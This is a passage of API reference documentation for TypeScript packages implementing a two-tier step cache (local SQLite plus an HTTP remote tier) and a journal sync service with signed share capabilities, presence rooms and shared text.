method, with optional per-method overrides. A test that reaches an operation it
did not supply is told which one, instead of reading a silent miss.

### layerNoop

```ts
const layerNoop: (overrides?: Partial<Service>) => Layer.Layer<CacheStore>
```

Provides `makeNoop`. See [test against the step cache](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/guides/test-with-the-cache.md).

### encodeCanonical

```ts
const encodeCanonical: (value: unknown, field: string) => Effect.Effect<string, CacheStoreError>
```

Admits `value` under the JSON budget and encodes it as RFC 8785 canonical JSON
through [`@smthrs/canonical`](/docs/reference/api/canonical/), failing `invalid_cache` with
`field` named in the message. Canonical form is what makes `put`'s text
comparison a structural one: two results built in different key orders encode
identically.

### encodeEntryCanonical

```ts
const encodeEntryCanonical: (entry: CacheEntry) => Effect.Effect<string, CacheStoreError>
```

Encodes a whole entry as RFC 8785 canonical JSON for the wire. The entry is
admitted under each field's own budget plus the envelope, one nesting level
and the five shell nodes, with `maximumJsonBytes` bounding the whole
encoding. A remote `put` therefore never refuses an entry a remote `get`
could have returned.

### validateKey

```ts
const validateKey: (keyDigest: string) => Effect.Effect<void, CacheStoreError>
```

Refuses a digest that violates the `KeyDigest` grammar before any statement or
request is issued.

### validateRecordedBy

```ts
const validateRecordedBy: (
  recordedBy: RecordedBy | undefined,
  field?: string
) => Effect.Effect<RecordedBy | undefined, CacheStoreError>
```

Decodes a provenance selector and returns the detached copy, or `undefined`.
Returning the decoded value lets an operation read a caller-owned accessor once
and never again.

### validateFence

```ts
const validateFence: (
  fence: EvictOptions["ifRecordedBy"]
) => Effect.Effect<RecordedBy | undefined, CacheStoreError>
```

`validateRecordedBy` with the field named `eviction fence`. A fence naming an
empty run or an impossible sequence number is a compare-and-swap no row could
satisfy, so running it would misreport a caller mistake as "nothing matched".

### validateAge

```ts
const validateAge: (
  field: string,
  value: number | undefined
) => Effect.Effect<number | undefined, CacheStoreError>
```

Refuses an age bound that is not a non-negative safe integer, and returns the
checked primitive so an operation computes its floor from the value it
validated.

### snapshotEntry

```ts
const snapshotEntry: (input: CacheEntry) => Effect.Effect<CacheEntry, CacheStoreError>
```

Takes an inert, detached, frozen snapshot of a candidate entry at effect start,
then decodes it against `CacheEntry`. The shell is read through its own
descriptors, so any object carrying exactly the six fields as enumerable own
data properties is accepted, including a class instance whose prototype methods
are never called. Accessors, symbol keys, and extra enumerable own members on
the shell are refused with `invalid_cache` without running caller code, and the
nested `result` and `meta` trees must be plain.

## CacheStoreMetrics

The metric handles the SQL store updates. This module defines them and nothing
else; no exporter ships here. Provide one, for example
[`@smthrs/observability`](/docs/reference/api/observability/), and the counters appear in it.
See [observe cache outcomes](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/guides/observe-cache-outcomes.md).

### lookups

```ts
const lookups: Metric.Counter<number>
```

Counter over cache lookups, dimensioned by `outcome`, named
`flows_step_cache_lookups`. Every update carries the attribute, so this bare
handle aggregates nothing and always reads zero. Read `hit` and `miss`.

### hit

```ts
const hit: Metric.Metric<number, Metric.CounterState<number>>
```

The `lookups` view counting hits: a row existed for the key digest and the
caller's bounds accepted it.

### miss

```ts
const miss: Metric.Metric<number, Metric.CounterState<number>>
```

The `lookups` view counting misses. That covers a digest with no row at all and
a row a `maxAgeMs` bound refused, which is a miss rather than a stale hit.

### puts

```ts
const puts: Metric.Counter<number>
```

Counter over cache recordings, dimensioned by `outcome`, named
`flows_step_cache_puts`. Read the views on `put`; the bare handle always reads
zero.

### put

```ts
const put: {
  readonly [Tag in "Inserted" | "ExistingSame" | "Conflict"]: Metric.Metric<
    number,
    Metric.CounterState<number>
  >
}
```

The `puts` views keyed by the `PutResult` tag the recording resolved to. Their
`outcome` attributes are `inserted`, `existing_same`, and `conflict`. A
`conflict` is the signal an inconsistency receiver acts on.

### remoteFailures and remoteFailure

```ts
const remoteFailures: Metric.Counter<number>
const remoteFailure: {
  readonly [Operation in "get" | "put"]: Metric.Metric<
    number,
    Metric.CounterState<number>
  >
}
```

`flows_step_cache_remote_failures` counts shared-tier refusals by `operation`.
Read its `get` and `put` views; the bare handle always reads zero.

## CombinedCacheStore

Two tiers composed into one `CacheStore.Service`: local first, shared second,
with write-back into the local store. The shape is Bazel's
`CombinedCache.downloadActionResult`. See
[local and shared tiers](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/concepts/tiers.md).

### Options

```ts
interface Options {
  readonly local: CacheStore.Service
  readonly remote: CacheStore.Service
  readonly publication?: "inline" | "deferred" | undefined
}
```

| Field         | Meaning                                                                                                                                             |
| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
| `local`       | The machine-local, durable tier. Every lookup tries this one first.                                                                                 |
| `remote`      | The shared tier. Consulted only on a local miss, and written through on `put`.                                                                      |
| `publication` | `"inline"` (the default) writes both tiers before `put` returns. `"deferred"` writes the local tier only and leaves the shared write to the caller. |

Take `"deferred"` whenever the `put` runs inside a write transaction: an inline
publication would hold a network round trip inside it. Lookups stay
read-through in both modes.

### make

```ts
const make: (options: Options) => CacheStore.Service
```

Composes the two tiers. `get` reads local, then remote, and writes a remote hit
back locally. A refused remote read is a miss. `put` records locally and, in
`"inline"` mode, publishes; a refused publication preserves the local outcome.
The shared tier is an accelerator and cannot fail either operation. `evict`
and `sweepExpired` are local only.

### layer

```ts
const layer: <EL, RL, ER, RR>(options: {
  readonly local: Effect.Effect<CacheStore.Service, EL, RL>
  readonly remote: Effect.Effect<CacheStore.Service, ER, RR>
  readonly publication?: Options["publication"]
}) => Layer.Layer<CacheStore.CacheStore, EL | ER, RL | RR>
```

Provides the composition under the `CacheStore` tag. Both tiers arrive as
effects rather than layers because they inhabit the same tag: merging two
`Layer<CacheStore>` values would shadow one with the other.

## RemoteCacheStore

The same `CacheStore.Service` contract spoken over HTTP: `GET`, `PUT`, and
`DELETE` on `/ac/{keyDigest}` carrying the `CacheEntry` JSON. This is the
action-cache half of Bazel's dumb-HTTP remote cache protocol. To stand one up,
see [implement a shared cache server](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/guides/implement-a-shared-tier.md).

### Options

```ts
interface Options {
  readonly endpoint: string
  readonly headers?: Readonly<Record<string, string>> | undefined
  readonly requestTimeout?: Duration.Input | undefined
  readonly maxResponseBytes?: number | undefined
}
```

| Field              | Meaning                                                                                                                                 |
| ------------------ | --------------------------------------------------------------------------------------------------------------------------------------- |
| `endpoint`         | The cache root, for example `https://cache.example.com`. `/ac/{keyDigest}` resolves beneath it and a trailing slash is ignored.         |
| `headers`          | Headers sent with every request. This is the credential seam. The record is copied and frozen when the store is built.                  |
| `requestTimeout`   | One deadline for a whole operation: its request, its response body, and the decoding between them. Defaults to `defaultRequestTimeout`. |
| `maxResponseBytes` | Largest cache-entry response accepted. Defaults to `maximumEntryBytes`, and may not exceed it.                                          |

The endpoint must be HTTPS unless its host is loopback, and it may carry no
userinfo, query, or fragment. Anything else fails `make` with `invalid_cache`.
The endpoint and its credentials are a capability, never an input: they are not
hashed into a step key and never journaled.

Effect's HTTP client records no header on its tracing spans, so a cache request
trace carries no credential. A host that sets `HttpClient.TracerHeaderFilter` to
record headers gets every name configured in `headers` as `<redacted>`,
matched case-insensitively. Each request extends the caller's existing header
redaction policy locally, preserving its defaults and custom matchers.

Each operation closes its HTTP response scope before returning, including
misses, errors, publications, evictions, deadlines, and caller interruption.
Unread responses are aborted when that scope closes.

Redirects are never followed. A fetch-backed client runs every request with
`redirect: "manual"`, keeping the caller's other `FetchHttpClient.RequestInit`
options, so a `3xx` fails the operation with `persistence_failed` and the
credential headers never reach the redirect target. Do not wrap the client in
`HttpClient.followRedirects`: that middleware forwards every header except
`authorization`, `proxy-authorization`, and `cookie` to another origin.

`maxResponseBytes` counts encoded UTF-8 bytes, inclusively. Declared lengths
above the bound are rejected before reading; streamed bodies stop at the first
chunk that crosses the bound, with a size-specific `persistence_failed` error.

### defaultRequestTimeout

```ts
const defaultRequestTimeout: Duration.Duration
```

The default deadline for one whole remote operation: 60 seconds.

### maximumEntryBytes

```ts
const maximumEntryBytes: number
```

The default and absolute maximum encoded cache-entry size, equal to
`CacheStore.maximumJsonBytes`.

### make

```ts
const make: (
  options: Options
) => Effect.Effect<CacheStore.Service, CacheStore.CacheStoreError, HttpClient.HttpClient>
```

Builds the client over Effect's `HttpClient`, validating `options` first.

Status mapping for `put`, the one operation with a three-way outcome: `201` is
`Inserted`, any other 2xx is `ExistingSame`, and `409` is `Conflict`. A lookup
maps `404` to a miss, and an eviction maps `404` to `false`. Every other
non-2xx status fails with `persistence_failed`.

`sweepExpired` validates its argument, issues no request, and answers `0`: the
shared tier owns its own retention.

### layer

```ts
const layer: (
  options: Options
) => Layer.Layer<CacheStore.CacheStore, CacheStore.CacheStoreError, HttpClient.HttpClient>
```

Provides the client under the `CacheStore` tag. Composing it alone makes every
lookup a network round trip and leaves the machine with no durable record; the
intended production shape is `CombinedCacheStore` with this as its remote tier.

## Migrations

This package owns two tables and nothing else: the mutable `flows_step_cache`
head and the append-only `flows_step_cache_recorded` ledger. Migration
`0002_created_at_index` indexes `created_at_ms` on both, so `sweepExpired`
reads only expired rows.

### set

```ts
const set: DatabaseMigrations.MigrationSet
```

The namespaced migration set, namespace `step-cache`, reserving migration id
block `2000` so its ids can never collide with the journal's or the run
store's. [`@smthrs/engine-store`](/docs/reference/api/engine-store/) composes it with the other
storage sets in dependency order.

### run

```ts
const run: Effect.Effect<
  ReadonlyArray<readonly [id: number, name: string]>,
  SqlError | Migrator.MigrationError,
  SqlClient.SqlClient
>
```

Creates the step cache schema, answering the migrations it applied.

### layer

```ts
const layer: Layer.Layer<never, SqlError | Migrator.MigrationError, SqlClient.SqlClient>
```

Runs the migrations before the database is exposed to the cache service.
Compose it beneath `CacheStore.layer`.

## TestCacheStore

```ts
const layer: Layer.Layer<CacheStore.CacheStore, SqlError | Migrator.MigrationError, never>
```

Imported from `@smthrs/step-cache/test/TestCacheStore`. The production SQLite
store over an in-memory database, with migrations already run. Node only. It is
the store the [quickstart](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/step-cache/docs/quickstart.md) uses.

---

# @smthrs/sync
https://smithers.sh/docs/reference/api/sync/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sync/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sync/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/sync/docs)

> **Related APIs:** [`@smthrs/journal`](/docs/reference/api/journal/)

```ts
import { JournalEvent } from "@smthrs/journal"
import { RunCatalog, SyncClient, SyncServer } from "@smthrs/sync"
import { Effect, Layer } from "effect"

const serverLayer = SyncServer.layer.pipe(Layer.provide(RunCatalog.layerStatic([])))

const follow = Effect.gen(function*() {
  const sync = yield* SyncClient.SyncClient
  return sync.subscribe({ scope: { _tag: "Run", runId: "build-42" as JournalEvent.RunId }, cursors: [] })
})
```

## Entry points

| Import                         | Source                                                                                                                         | Platform |
| ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------ | -------- |
| `@smthrs/sync`                 | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sync/src/index.ts)                     | any      |
| `@smthrs/sync/test/TestSync`   | [src/test/TestSync.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sync/src/test/TestSync.ts)     | Node     |
| `@smthrs/sync/test/TestSocket` | [src/test/TestSocket.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sync/src/test/TestSocket.ts) | any      |

The root is browser safe, and the package's own bundle check holds it that
way. The signing paths call Web Crypto directly for that reason, so one module
serves Node and the browser. `TestSync.layerTest` binds the Node SQLite test
journal, which is why it is a separate subpath.

## Authorization

Fail closed along two boundaries, both consulted per request:

- **Branch runs.** A run whose id maps to a shared branch is visible only when
  the request's share capability verifies for that branch. An explicitly scoped
  branch read without one fails; a workspace listing excludes the branch runs
  the caller's capability does not cover. Without a `BranchShare` in scope
  every branch run is closed.
- **Non-branch runs and workspace listings.** Visible only to the workspace
  principal (`SyncPrincipal`), whose default is anonymous. Over RPC,
  `SyncAuth.layer` establishes that principal by verifying the
  `WorkspaceShare` capability presented in the `flows-sync-workspace` header.
  A header that is present but malformed, forged, expired, or signed by an
  unknown key is refused outright rather than downgraded to anonymity.

A SUBSCRIPTION is additionally bounded in time. It is authorized once, when it
opens, so the signed expiry travels with the identity (`SyncPrincipal.Workspace.expiresAtMs`,
or the branch capability's own `expiresAtMs`) and the stream ends with
`unauthorized` when that moment arrives. An in-process owner that provides
`SyncPrincipal` itself presented no credential and has no deadline.

Both authorities sign a length-prefixed encoding of their claims under
HMAC-SHA-256, led by a scheme label, so neither's signature can be replayed as
the other's under a shared secret. Length prefixes count UTF-8 bytes, and a
claim set that does not survive UTF-8 (an unpaired surrogate) is refused with
`invalid_request` rather than signed. Secrets are `Redacted` on both sides and
must be at least 32 bytes of UTF-8, or the keyring is refused with
`invalid_request`. Both carry a `kid` inside the signed claims, so keys rotate without
invalidating capabilities minted under a retired one. Each authority takes its
own keyring: `BranchShare.layerConfig` reads `SMITHERS_SYNC_BRANCH_SECRET` and
`SMITHERS_SYNC_BRANCH_KEY_ID`, `WorkspaceShare.layerConfig` reads
`SMITHERS_SYNC_SECRET` and `SMITHERS_SYNC_KEY_ID`.

Both authorities decode their mint request before signing it, so an empty id
or a non-positive `ttlMs` from an in-process caller is refused with
`invalid_request` rather than crashing the operation. `BranchCommands.submission`
returns an `Effect` for the same reason: a command name the schema forbids is a
refusal, not a throw.

## Bounds

The bounds cap what is in flight at once: entries per page, frames per
subscription, journal reads open per workspace subscription, bytes per frame.
What one follower holds open is therefore a function of the configured bound,
not of how far behind it has fallen. Two things still scale with the workspace.
A workspace subscription keeps a served position for every run it has ever
covered, including a run the catalog later drops, so its bookkeeping is O(runs
covered). A catalog-wide round, which runs at open, on an announcement, and
once per `tailIntervalMs`, reads one page and two generations per covered run,
so its work is O(runs listed) with `concurrency` reads open at a time. A wake
for an entry committed in this process reads only the runs it named. Size
`concurrency` and `tailIntervalMs` for the catalog, not only for the follower.

| Bound                                            | Default                                         | What it caps                                                                                                                                                                   |
| ------------------------------------------------ | ----------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `SyncProtocol.maxReadLimit`                      | 1024                                            | Entries one `Sync.Read` may ask for. Over the limit is refused at the wire; an in-process caller is clamped.                                                                   |
| `SyncProtocol.maxSubscribeCredit`                | 4096                                            | Frames one `Sync.Subscribe` may hold open. Zero is refused rather than served as an empty stream.                                                                              |
| `SyncServer.Options.concurrency`                 | `SyncServer.defaultConcurrency` (64)            | Journal reads one workspace subscription holds open at once. A round reads one bounded page per run it visits, so a busy run wakes the next round instead of holding its slot. |
| `SyncServer.Options.tailIntervalMs`              | `SyncServer.defaultTailIntervalMs` (1000)       | Milliseconds a workspace subscription waits before revisiting every covered run when nothing wakes it, and the longest that local wakes may defer that catalog-wide round.     |
| `SyncServer.Options.maxFrameBytes`               | `SyncProtocol.defaultMaxFrameBytes` (2 MiB)     | Summed encoded entries of one read page or subscription frame.                                                                                                                 |
| `SyncClient.SubscribeOptions.credit`             | `SyncClient.defaultCredit` (256)                | Frames one subscription round carries before the follow replenishes the window by resubscribing from its acknowledged cursors.                                                 |
| `SyncClient.Options.bootstrapLimit`              | `SyncClient.defaultBootstrapLimit` (256)        | Entries one catch-up page asks for.                                                                                                                                            |
| `BranchCommands.Options.maxCommandBytes`         | `BranchCommands.defaultMaxCommandBytes` (1 MiB) | Encoded size of one command submission, refused before anything is appended.                                                                                                   |
| `BranchCommands.Options.ledgerCapacity`          | `BranchCommands.defaultLedgerCapacity` (4096)   | Receipts one branch keeps in memory. The journal's producer identity is the durable dedupe, so an evicted receipt costs a round trip and never correctness.                    |
| `BranchCommands.Options.hydrationLimit`          | `BranchCommands.defaultHydrationLimit` (4096)   | Entries one branch's first-touch hydration reads before it stops, so a long history is not charged to the next writer's latency. What the walk misses, the journal answers.    |
| `BranchCommands.Options.branchIdleMs`            | `BranchCommands.defaultBranchIdleMs` (24 h)     | Untouched time before a branch's in-memory state is dropped. The next submission re-hydrates it from the journal, as after a restart.                                          |
| `BranchPresence.PresenceOptions.maxParticipants` | `BranchPresence.defaultMaxParticipants` (256)   | Participants one branch may hold at once; a further announce is refused with `backpressure`.                                                                                   |
| `RunCatalog.MemoryOptions.changesCapacity`       | `RunCatalog.defaultChangesCapacity` (1024)      | Announcements a stalled `changes` subscriber may fall behind by; the oldest slide out.                                                                                         |
| `RunCatalog.PollingOptions.intervalMs`           | `RunCatalog.defaultPollIntervalMs` (1000)       | Milliseconds between reads of the durable run set: one bounded query per interval per composition, not per subscriber.                                                         |
| `BranchPresence.PresenceOptions.changesCapacity` | `BranchPresence.defaultChangesCapacity` (256)   | Roster notifications a stalled `changes` subscriber may fall behind by; the oldest slide out.                                                                                  |

Every numeric option is validated where it enters. A policy belongs to the
constructor that takes it: `SyncServer.makeLiveWith`, `BranchCommands.makeLiveWith`,
`SyncClient.makeWith`, `BranchPresence.makeMemory`, `RunCatalog.makeMemory` and
`RunCatalog.makePolling`, plus the `layerWith`, `layerMemory` and `layerPolling`
layers over them, fail with `invalid_request` when a value is not a positive
safe integer, so a bad policy fails the composition instead of quietly
disabling the comparison it configures. The plain `make`, `makeLive` and
`layer` forms carry the defaults, which are valid by construction, and cannot
fail on a policy. A count a REQUEST carries rather than a policy, meaning
`Sync.Read`'s `limit` and `SyncClient.SubscribeOptions.credit`, is checked
where the request is built.

Both change feeds slide rather than block: a publisher never waits on a stalled
subscriber and never grows the process on its behalf. Neither feed is a source
of truth. `RunCatalog.list` and `BranchPresence.list` are the authoritative
state, and every reader re-lists on a cadence of its own: a workspace
subscription reconciles its covered run set against `RunCatalog.list` on every
round, and a roster watch re-lists once per `BranchPresence` lease, capped at one second. A dropped
notification therefore costs latency and never state.

## Read path

`SyncServer.Service` has `read(request)`, `subscribe(request)`, and `snapshot(request)`.
`makeLiveWith(options)` and `layerWith(options)` take the `Options` policy
above; `makeLive` and `layer` use the defaults. The live layer requires
`Journal` and `RunCatalog`.

`SyncServer.SnapshotSource` is an optional host service with
`read(SnapshotRequest): Effect<Snapshot, SyncError>`. It provides only public
projections, never raw unredacted execution checkpoints. The server authorizes
the run/branch before invoking it, checks expiry before returning data, and
refuses missing providers. Providers must select the exact requested lineage,
projection and version and retain state covering the requested sequence.

`SyncClient.Service.snapshot(request)` fetches that projection through
`Sync.Snapshot` without applying state or advancing cursors. `SnapshotRequest`
and `Snapshot` in `SyncProtocol` carry protocol version 1, run/lineage identity,
projection name/version, minimum or actual sequence, and response JSON state.
Both ends validate identities and the full response's encoded UTF-8 byte limit
using `maxFrameBytes`. Invalid or stale state is refused, not coerced or skipped.

`SyncClient.Service.progress` returns `SyncProtocol.Progress`: two cursor sets,
`delivered` and `applied`. `delivered` is a delivery bookmark only. `applied`
advances only after successful application or restoration; an applying subscription
uses the shared applied map when choosing its start position. Use one client
per projection and persist projection state and its cursor in one transaction.

A read shares its page across the runs it covers and stops at the first of three
bounds: the request's `limit`, the frame ceiling, or the durable tail of every
covered run, which is the only case that reports `done: true`. Every covered run
takes a share of the budget before any run takes a second helping, and the
budget the shares leave unspent is offered back in run order, so a run with a
backlog takes the larger part of a page but never all of it. Filling in run
order instead let a producer that stayed one page ahead take every slot of every
page, so `done` never became true and a bootstrapping follower never reached the
runs behind it. The frame ceiling is a page budget rather than a verdict on the
read, so a page whose entries sum past it reports `done: false`; only a SINGLE
entry whose own encoded size exceeds the ceiling is refused with
`frame_too_large`, because no page can ever carry it.

Cursors are unique per run. A request that names one run twice is refused with
`invalid_request` on both `read` and `subscribe`, because the read position and
the echoed response state would otherwise disagree about where the page began.

## Follow path

`SyncClient.SyncClient` is the browser-safe service tag; `SyncClient.Sync` is
its deprecated former name. `make({ client })` adapts an Effect RPC client and
`layer` derives that client from `RpcClient.Protocol`.
A subscription replays through `Sync.Read` until the server reports `done`,
then follows through `Sync.Subscribe` in credit windows, replenishing each
window by resubscribing from its matching delivered or applied progress.

A frame or page whose encoded entries exceed `maxFrameBytes` is refused with
`frame_too_large`. Out-of-scope entries, repeated or reordered sequences, and
missing response generations fail with `protocol_violation` before delivery.
Each run represented in a `Sync.Read` page's entries must have exactly one
cursor with an explicit generation matching the request, and every entry must
be above the requested cursor. Live frames instead drop already-covered
entries and deliver only the suffix above the cursor. An incomplete bootstrap
page with no entries or a completed subscription window with no frames fails
with `protocol_violation` instead of reopening immediately.

Transport, authentication, and reconnect are handled here rather than left to
the application. A live follow that loses its transport reconnects under
exponential backoff capped at five seconds, resuming from the subscription's
progress; gaps, authorization refusals, and server closes propagate to the
consumer instead of retrying.

A delivery bookmark names what was delivered. `SubscribeOptions.apply`
additionally records `progress.applied`: the callback runs to success before
that cursor moves, so a failed application is retried by the next applying
subscription. A delivery-only subscription cannot acknowledge application.

`apply` and `onResync` fail with the consumer's own error types, and
`subscribe` returns `Stream<Entry, SyncError | SyncGapError | EApply | EResync>`.
A consumer failure keeps its own type, so it never borrows a wire code and
never passes `SyncError.is`.

## Compaction and resync

Compaction deletes a run's entries below a checkpoint, so a cursor under that
floor names history that no longer exists. The server maps the journal's
`compacted` failure onto its own code with the run id the read was issued for,
and `SyncError.resync` carries `{ runId, checkpointSeq, generation }`. The client
fails closed unless `onResync` restores a snapshot and returns its
`{ runId, afterSeq }`. It validates that receipt before advancing to the actual
restored sequence, in the refusal's generation unless the receipt names its own. A
checkpoint at or below what the subscription already covers cannot move the
cursor forward, so it stays a failure rather than a retry of the same refusal.

:::warning
The resync moves a cursor, not state. The entries below `checkpointSeq` are
gone from the journal. `SyncClient.snapshot` can fetch a configured public
projection, but does not apply it. `SubscribeOptions.onResync` is the seam a consumer fills that hole
through: it runs BEFORE the cursor moves and must return a valid restored cursor, so a failure leaves
the cursor where it was and nothing is skipped silently. A Node follower reads
the prefix from `Journal.latestCheckpoint(runId)` and applies it. With no handler,
the original refusal is preserved. A consumer that cannot restore the prefix
must not return an applied receipt for it. Durable consumers must commit snapshot state and
their durable cursor in their own transaction; the client cursor is in memory.
:::

## Errors

`ErrorCode` includes `unsupported` (since 1.0.0) for unavailable host
operations or presence transport; it does not mean an empty roster.

`SyncError` carries a stable `code` from `ErrorCode`, a `message`, an optional
bounded `cause` string, and a `resync` that is set only on `compacted`.
`SyncGapError` reports a server interval that starts beyond the client's
covered cursor.

`cause` is a STRING and never the host object that failed. `SyncError` is the
declared error schema of every RPC in both groups, so what it carries reaches a
remote follower that may hold nothing but a branch share link: a journal
failure crosses as its stable journal code, never as the driver's own sentence,
and the public message names the run rather than the storage fault.

`SyncError.is` is a structural check: the tag, a declared `code`, a string
`message`, and a `resync` only alongside `compacted`. It deliberately does not
require the prototype, because every value that reaches it has crossed a
boundary that rebuilds it.

## Branch collaboration

`BranchPresence.Service.presenceOn(request)` (since 1.0.0) returns
`"unknown" | "present" | "empty"`, authorizing read access first. It stays
`unknown` for one configured `leaseMs` after startup so live participants can
re-announce, and while any required heartbeat source is unavailable. Treat
`unknown` as present for safe-idle decisions.

`PresenceOptions.sourcesReady(branchId)` (since 1.0.0) supplies an
`Effect<boolean>` readiness check for authorization, revocation, bridge and
session sources. It defaults to unavailable.

`BranchPresence.makeNoop()` and `layerNoop` fail announce, leave and list with
`unsupported`; `presenceOn` returns `unknown`. Consequently
`BranchServer` roster reads and watches also fail with `unsupported` under
`layerNoop`, rather than reporting an empty roster.

A branch is one shared live document whose durable state is exactly one journal
run (`BranchProtocol.branchRunId`), so multiplayer reuses the canonical `seq`,
cursors, gap detection, and resumable follow rather than introducing a second
source of truth. Presence is a lease and is never journalled. Commands are
admitted through a client-minted idempotency key whose exactly-once constraint
is the journal's own producer identity, so two servers racing one command
collide durably inside the write transaction.

`BranchRpcs` is the wire group and `BranchServer.layerHandlers` projects the
branch services onto it. The payload schemas ARE the service schemas, so the
wire and the services cannot drift about what a legal message is.

:::warning
Branch collaboration ships unserved at 1.0.0-rc.0.
[`@smthrs/gateway`](/docs/reference/api/gateway/) mounts `SyncRpcs` on `POST /sync` and
`/sync/ws`; nothing outside this package's own tests mounts `BranchRpcs`, so
the seven branch procedures have no integration against a real gateway yet.
Treat the branch modules as a library surface pending a host, not as a served
endpoint.
:::

## Presence rooms

Since 1.0.0-rc.17. [Presence rooms](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sync/docs/concepts/presence.md) explains the
design; this section lists the exports.

`PresenceProtocol` is pure:

| Export                                                | What it is                                                                                    |
| ----------------------------------------------------- | --------------------------------------------------------------------------------------------- |
| `maxStateBytes`, `maxFrameBytes`                      | 1024 and 2048 UTF-8 bytes: one participant's state, and one frame from a page.                |
| `maxParticipants`, `maxDataBytes`                     | 256 connections per room, and 512 UTF-8 bytes of host-only data per connection.               |
| `Access`, `Participant`, `ClientFrame`, `ServerFrame` | The wire's types. A participant is `{ id, principal, name, access, state }`.                  |
| `CloseCode`                                           | `left` 1000, `unsupported` 1003, `noAccess` 1008, `tooBig` 1009, `changed` 1012, `full` 1013. |
| `isFinal(code)`                                       | True for `left`, `unsupported`, `noAccess` and `tooBig`.                                      |
| `reconnect`, `reconnectDelay(attempt)`                | 1 s doubling to 30 s, at most 10 attempts; `undefined` once they are spent.                   |
| `encodeClientFrame`, `decodeClientFrame`              | A page's `state` frame. Decoding answers `undefined` for anything over a limit or malformed.  |
| `encodeServerFrame`, `decodeServerFrame`              | The room's `roster` frame, with `self`.                                                       |

`PresenceRoom` runs over a `RoomHost<S, R>`, whose `sockets` are every
`RoomSocket<R>` the host holds open. It keeps nothing in memory: each
connection lives in its socket's attachment.

| Export                                 | Answers              | Behavior                                                                                                                          |
| -------------------------------------- | -------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
| `join(host, socket, identity)`         | `"joined" \| "full"` | Keeps a fresh id, the `Identity` and a `null` state, then sends everyone the roster. At the cap it closes the socket with `full`. |
| `receive(host, socket, message)`       | `void`               | A state goes to everyone. Binary or malformed closes with `unsupported`, oversized with `tooBig`.                                 |
| `leave(host, socket)`                  | `void`               | Forgets a closed or failed socket and tells the others. Idempotent.                                                               |
| `close(host, socket, code)`            | `void`               | Closes one connection with `code`, forgets it, and tells the others.                                                              |
| `evict(host, principal, code?)`        | `number`             | Closes every connection of `principal` (`noAccess` by default) and tells the others once.                                         |
| `connections(host)`                    | `Connection<S>[]`    | Every joined connection in join order, with its `participant` and host-only `data`.                                               |
| `joins`, `frames`, `evictions`, `open` | metrics              | `smithers_presence_joins`, `_frames`, `_evictions` and `_open`; counts only.                                                      |

None of them fails. A send or close that fails or throws marks that socket
gone. `Identity.data` over `maxDataBytes`, or joining one socket twice, dies.

`PresenceSocket.connect(url)` needs `Scope` and Effect's
`Socket.WebSocketConstructor`, and answers a `Connection`:

| Member       | Type                                 | Behavior                                                                                             |
| ------------ | ------------------------------------ | ---------------------------------------------------------------------------------------------------- |
| `set(state)` | `Effect<void>`                       | Keeps the latest state and sends it while open and after every reconnect. Over `maxStateBytes` dies. |
| `roster`     | `Stream<ReadonlyArray<Participant>>` | The current roster, then every change; empty while not open.                                         |
| `status`     | `Stream<Status>`                     | `Connecting`, `Open { self }`, `Offline { attempt, code }`, `Closed { code }`.                       |

## Shared text

Since 1.0.0-rc.17. [Shared text](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sync/docs/concepts/shared-text.md) explains the design;
this section lists the exports.

| Export                                | What it is                                                                                                                                |
| ------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `make`                                | `Effect<SharedText, never, Scope>`: an empty replica, closed with its scope.                                                              |
| `SharedText.text`                     | `Effect<string>`: the text now.                                                                                                           |
| `SharedText.apply(update)`            | Merges another replica's update; fails `InvalidUpdate` (`malformed`) and changes nothing for bytes that aren't one.                       |
| `SharedText.edit(changes)`            | Makes `Change`s (`{ from, to, insert }`) in one transaction; answers the update, or `undefined` when nothing changed.                     |
| `SharedText.replace(next, options)`   | Makes the text `next` with one change, placed by `caret` and moved past what arrived since `base`; answers as `edit` does.                |
| `SharedText.anchor(index)`            | `Effect<Uint8Array>`: a place other replicas resolve.                                                                                     |
| `SharedText.resolve(anchor)`          | `Effect<number \| undefined>`: where an anchor is now; `undefined` before its text arrives or for bytes that aren't one.                  |
| `SharedText.mark(name, value)`        | Sets a named string beside the text; answers the update, or `undefined` when the mark holds `value` already.                              |
| `SharedText.marks`                    | `Effect<ReadonlyMap<string, string>>`: every mark the replica holds; marks never change the text.                                         |
| `SharedText.snapshot`                 | `Effect<Uint8Array>`: everything the replica holds, as one update.                                                                        |
| `changeOf(before, after, caret?)`     | The one change between two texts, never splitting a surrogate pair.                                                                       |
| `seed(text)`                          | A document's first content, the same bytes for the same text.                                                                             |
| `validate(update, { seed })`          | Fails `InvalidUpdate` for malformed bytes, or `seed_client` for text written as `seedClient` outside a seed or a seed with anyone else's. |
| `merge(updates)`                      | Several updates as one.                                                                                                                   |
| `textName`, `marksName`, `seedClient` | `"text"`, the document's one text; `"marks"`, its marks; and `0`, the replica only a seed writes as.                                      |

## Test helpers

| Export                                                               | Source                                                                                                                         | Notes                                                  |
| -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------ |
| `TestSync.layerTest`, `layerTrustAllAsOwner`, `layerNoop`, `connect` | [src/test/TestSync.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sync/src/test/TestSync.ts)     | a real server and client over an in-memory socket pair |
| `TestSocket.makePair`, `Pair`, `TestFaults`, `FrameFilter`           | [src/test/TestSocket.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/sync/src/test/TestSocket.ts) | fault-injecting socket pair                            |

